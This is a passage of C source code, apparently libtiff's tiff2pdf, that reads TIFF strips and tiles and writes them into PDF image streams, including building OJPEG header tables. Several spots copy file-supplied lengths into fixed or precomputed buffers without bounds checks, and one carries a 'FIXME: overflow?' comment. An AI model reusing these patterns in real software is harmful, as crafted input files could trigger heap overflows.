T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } } else { if(t2p->pdf_sample & T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){ sepstripsize=TIFFStripSize(input); sepstripcount=TIFFNumberOfStrips(input); stripsize=sepstripsize*t2p->tiff_samplesperpixel; stripcount=sepstripcount/t2p->tiff_samplesperpixel; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); samplebuffer = (unsigned char*) _TIFFmalloc(stripsize); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } for(i=0;i<stripcount;i++){ samplebufferoffset=0; for(j=0;j<t2p->tiff_samplesperpixel;j++){ read = TIFFReadEncodedStrip(input, i + j*stripcount, (tdata_t) &(samplebuffer[samplebufferoffset]), TIFFmin(sepstripsize, stripsize - samplebufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i + j*stripcount, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } samplebufferoffset+=read; } t2p_sample_planar_separate_to_contig( t2p, &(buffer[bufferoffset]), samplebuffer, samplebufferoffset); bufferoffset+=samplebufferoffset; } _TIFFfree(samplebuffer); goto dataready; } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){ // FIXME: overflow? samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t) buffer, t2p->tiff_datasize * t2p->tiff_samplesperpixel); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; t2p->tiff_datasize *= t2p->tiff_samplesperpixel; } t2p_sample_realize_palette(t2p, buffer); } if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgba_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){ samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length*4); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; } if(!TIFFReadRGBAImageOriented( input, t2p->tiff_width, t2p->tiff_length, (uint32*)buffer, ORIENTATION_TOPLEFT, 0)){ TIFFError(TIFF2PDF_MODULE, "Can't use TIFFReadRGBAImageOriented to extract RGB image from %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } t2p->tiff_datasize=t2p_sample_abgr_to_rgb( (tdata_t) buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){ t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } } dataready: t2p_disable(output); TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric); TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample); TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel); TIFFSetField(output, TIFFTAG_IMAGEWIDTH, t2p->tiff_width); TIFFSetField(output, TIFFTAG_IMAGELENGTH, t2p->tiff_length); TIFFSetField(output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_length); TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB); switch(t2p->pdf_compression){ case T2P_COMPRESS_NONE: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE); break; #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4); break; #endif /* ifdef CCITT_SUPPORT */ #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: if(t2p->tiff_photometric==PHOTOMETRIC_YCBCR) { uint16 hor = 0, ver = 0; if (TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &hor, &ver) !=0 ) { if(hor != 0 && ver != 0){ TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, hor, ver); } } if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){ TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp); } } if(TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG)==0){ TIFFError(TIFF2PDF_MODULE, "Unable to use JPEG compression for input %s and output %s", TIFFFileName(input), TIFFFileName(output)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){ TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){ TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW); } } if(t2p->pdf_colorspace & T2P_CS_GRAY){ (void)0; } if(t2p->pdf_colorspace & T2P_CS_CMYK){ (void)0; } if(t2p->pdf_defaultcompressionquality != 0){ TIFFSetField(output, TIFFTAG_JPEGQUALITY, t2p->pdf_defaultcompressionquality); } break; #endif /* ifdef JPEG_SUPPORT */ #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE); if(t2p->pdf_defaultcompressionquality%100 != 0){ TIFFSetField(output, TIFFTAG_PREDICTOR, t2p->pdf_defaultcompressionquality % 100); } if(t2p->pdf_defaultcompressionquality/100 != 0){ TIFFSetField(output, TIFFTAG_ZIPQUALITY, (t2p->pdf_defaultcompressionquality / 100)); } break; #endif /* ifdef ZIP_SUPPORT */ default: break; } t2p_enable(output); t2p->outputwritten = 0; #ifdef JPEG_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_JPEG && t2p->tiff_photometric == PHOTOMETRIC_YCBCR){ bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, stripsize * stripcount); } else #endif /* ifdef JPEG_SUPPORT */ { bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, t2p->tiff_datasize); } if (buffer != NULL) { _TIFFfree(buffer); buffer=NULL; } if (bufferoffset == (tsize_t)-1) { TIFFError(TIFF2PDF_MODULE, "Error writing encoded strip to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } written = t2p->outputwritten; return(written); } /* * This function reads the raster image data from the input TIFF for an image * tile and writes the data to the output PDF XObject image dictionary stream * for the tile. It returns the amount written or zero on error. */ tsize_t t2p_readwrite_pdf_image_tile(T2P* t2p, TIFF* input, TIFF* output, ttile_t tile){ uint16 edge=0; tsize_t written=0; unsigned char* buffer=NULL; tsize_t bufferoffset=0; unsigned char* samplebuffer=NULL; tsize_t samplebufferoffset=0; tsize_t read=0; uint16 i=0; ttile_t tilecount=0; /* tsize_t tilesize=0; */ ttile_t septilecount=0; tsize_t septilesize=0; #ifdef JPEG_SUPPORT unsigned char* jpt; float* xfloatp; uint32 xuint32=0; #endif /* Fail if prior error (in particular, can't trust tiff_datasize) */ if (t2p->t2p_error != T2P_ERR_OK) return(0); edge |= t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile); edge |= t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile); if( (t2p->pdf_transcode == T2P_TRANSCODE_RAW) && ((edge == 0) #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) || (t2p->pdf_compression == T2P_COMPRESS_JPEG) #endif ) ){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4){ buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawTile(input, tile, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_ZIP){ buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawTile(input, tile, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG){ if(! t2p->pdf_ojpegdata){ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with " "bad tables", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } buffer=(unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } _TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength); if(edge!=0){ if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile)){ buffer[7]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength >> 8) & 0xff; buffer[8]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength ) & 0xff; } if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile)){ buffer[9]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth >> 8) & 0xff; buffer[10]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth ) & 0xff; } } bufferoffset=t2p->pdf_ojpegdatalength; bufferoffset+=TIFFReadRawTile(input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); ((unsigned char*)buffer)[bufferoffset++]=0xff; ((unsigned char*)buffer)[bufferoffset++]=0xd9; t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG){ unsigned char table_end[2]; uint32 count = 0; buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (TIFF_SIZE_T) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0) { if (count > 0) { _TIFFmemcpy(buffer, jpt, count); bufferoffset += count - 2; table_end[0] = buffer[bufferoffset-2]; table_end[1] = buffer[bufferoffset-1]; } if (count > 0) { xuint32 = bufferoffset; bufferoffset += TIFFReadRawTile( input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset-2]), -1); buffer[xuint32-2]=table_end[0]; buffer[xuint32-1]=table_end[1]; } else { bufferoffset += TIFFReadRawTile( input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } #endif (void)0; } if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for " "t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } read = TIFFReadEncodedTile( input, tile, (tdata_t) &buffer[bufferoffset], t2p->tiff_datasize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } } else { if(t2p->pdf_sample == T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){ septilesize=TIFFTileSize(input); septilecount=TIFFNumberOfTiles(input); /* tilesize=septilesize*t2p->tiff_samplesperpixel; */ tilecount=septilecount/t2p->tiff_samplesperpixel; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } samplebuffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } samplebufferoffset=0; for(i=0;i<t2p->tiff_samplesperpixel;i++){ read = TIFFReadEncodedTile(input, tile + i*tilecount, (tdata_t) &(samplebuffer[samplebufferoffset]), septilesize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile + i*tilecount, TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } samplebufferoffset+=read; } t2p_sample_planar_separate_to_contig( t2p, &(buffer[bufferoffset]), samplebuffer, samplebufferoffset); bufferoffset+=samplebufferoffset; _TIFFfree(samplebuffer); } if(buffer==NULL){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } read = TIFFReadEncodedTile( input, tile, (tdata_t) &buffer[bufferoffset], t2p->tiff_datasize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } } if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgba_to_rgb( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){ TIFFError(TIFF2PDF_MODULE, "No support for YCbCr to RGB in tile for %s", TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){ t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } } if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile) != 0){ t2p_tile_collapse_left( buffer, TIFFTileRowSize(input), t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } t2p_disable(output); TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric); TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample); TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel); if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile) == 0){ TIFFSetField( output, TIFFTAG_IMAGEWIDTH, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); } else { TIFFSetField( output, TIFFTAG_IMAGEWIDTH, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); } if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile) == 0){ TIFFSetField( output, TIFFTAG_IMAGELENGTH, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); TIFFSetField( output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } else { TIFFSetField( output, TIFFTAG_IMAGELENGTH, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); TIFFSetField( output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); } TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB); switch(t2p->pdf_compression){ case T2P_COMPRESS_NONE: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE); break; #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4); break; #endif #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: if (t2p->tiff_photometric==PHOTOMETRIC_YCBCR) { uint16 hor = 0, ver = 0; if (TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &hor, &ver)!=0) { if (hor != 0 && ver != 0) { TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, hor, ver); } } if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){ TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp); } } TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); /* JPEGTABLESMODE_NONE */ if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){ TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){ TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW); } } if(t2p->pdf_colorspace & T2P_CS_GRAY){ (void)0; } if(t2p->pdf_colorspace & T2P_CS_CMYK){ (void)0; } if(t2p->pdf_defaultcompressionquality != 0){ TIFFSetField(output, TIFFTAG_JPEGQUALITY, t2p->pdf_defaultcompressionquality); } break; #endif #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE); if(t2p->pdf_defaultcompressionquality%100 != 0){ TIFFSetField(output, TIFFTAG_PREDICTOR, t2p->pdf_defaultcompressionquality % 100); } if(t2p->pdf_defaultcompressionquality/100 != 0){ TIFFSetField(output, TIFFTAG_ZIPQUALITY, (t2p->pdf_defaultcompressionquality / 100)); } break; #endif default: break; } t2p_enable(output); t2p->outputwritten = 0; bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t) 0, buffer, TIFFStripSize(output)); if (buffer != NULL) { _TIFFfree(buffer); buffer = NULL; } if (bufferoffset == -1) { TIFFError(TIFF2PDF_MODULE, "Error writing encoded tile to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } written = t2p->outputwritten; return(written); } #ifdef OJPEG_SUPPORT int t2p_process_ojpeg_tables(T2P* t2p, TIFF* input){ uint16 proc=0; void* q; uint32 q_length=0; void* dc; uint32 dc_length=0; void* ac; uint32 ac_length=0; uint16* lp; uint16* pt; uint16 h_samp=1; uint16 v_samp=1; unsigned char* ojpegdata; uint16 table_count; uint32 offset_table; uint32 offset_ms_l; uint32 code_count; uint32 i=0; uint32 dest=0; uint16 ri=0; uint32 rows=0; if(!TIFFGetField(input, TIFFTAG_JPEGPROC, &proc)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGProc field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(proc!=JPEGPROC_BASELINE && proc!=JPEGPROC_LOSSLESS){ TIFFError(TIFF2PDF_MODULE, "Bad JPEGProc field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGQTABLES, &q_length, &q)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGQTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(q_length < (64U * t2p->tiff_samplesperpixel)){ TIFFError(TIFF2PDF_MODULE, "Bad JPEGQTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGDCTABLES, &dc_length, &dc)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGDCTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(proc==JPEGPROC_BASELINE){ if(!TIFFGetField(input, TIFFTAG_JPEGACTABLES, &ac_length, &ac)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGACTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } else { if(!TIFFGetField(input, TIFFTAG_JPEGLOSSLESSPREDICTORS, &lp)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGLosslessPredictors field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGPOINTTRANSFORM, &pt)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGPointTransform field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } if(!TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp)){ h_samp=1; v_samp=1; } if(t2p->pdf_ojpegdata != NULL){ _TIFFfree(t2p->pdf_ojpegdata); t2p->pdf_ojpegdata=NULL; } t2p->pdf_ojpegdata = _TIFFmalloc(2048); if(t2p->pdf_ojpegdata == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_process_ojpeg_tables, %s", 2048, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } _TIFFmemset(t2p->pdf_ojpegdata, 0x00, 2048); t2p->pdf_ojpegdatalength = 0; table_count=t2p->tiff_samplesperpixel; if(proc==JPEGPROC_BASELINE){ if(table_count>2) table_count=2; } ojpegdata=(unsigned char*)t2p->pdf_ojpegdata; ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xd8; ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; if(proc==JPEGPROC_BASELINE){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xc0; } else { ojpegdata[t2p->pdf_ojpegdatalength++]=0xc3; } ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=(8 + 3*t2p->tiff_samplesperpixel); ojpegdata[t2p->pdf_ojpegdatalength++]=(t2p->tiff_bitspersample & 0xff); if(TIFFIsTiled(input)){ ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength ) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth ) & 0xff; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_length >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_length ) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_width >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_width ) & 0xff; } ojpegdata[t2p->pdf_ojpegdatalength++]=(t2p->tiff_samplesperpixel & 0xff); for(i=0;i<t2p->tiff_samplesperpixel;i++){ ojpegdata[t2p->pdf_ojpegdatalength++]=i; if(i==0){ ojpegdata[t2p->pdf_ojpegdatalength] |= h_samp<<4 & 0xf0;; ojpegdata[t2p->pdf_ojpegdatalength++] |= v_samp & 0x0f; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= 0x11; } ojpegdata[t2p->pdf_ojpegdatalength++]=i; } for(dest=0;dest<t2p->tiff_samplesperpixel;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xdb; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=0x43; ojpegdata[t2p->pdf_ojpegdatalength++]=dest; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength++]), &(((unsigned char*)q)[64*dest]), 64); t2p->pdf_ojpegdatalength+=64; } offset_table=0; for(dest=0;dest<table_count;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xc4; offset_ms_l=t2p->pdf_ojpegdatalength; t2p->pdf_ojpegdatalength+=2; ojpegdata[t2p->pdf_ojpegdatalength++]=dest & 0x0f; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)dc)[offset_table]), 16); code_count=0; offset_table+=16; for(i=0;i<16;i++){ code_count+=ojpegdata[t2p->pdf_ojpegdatalength++]; } ojpegdata[offset_ms_l]=((19+code_count)>>8) & 0xff; ojpegdata[offset_ms_l+1]=(19+code_count) & 0xff; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)dc)[offset_table]), code_count); offset_table+=code_count; t2p->pdf_ojpegdatalength+=code_count; } if(proc==JPEGPROC_BASELINE){ offset_table=0; 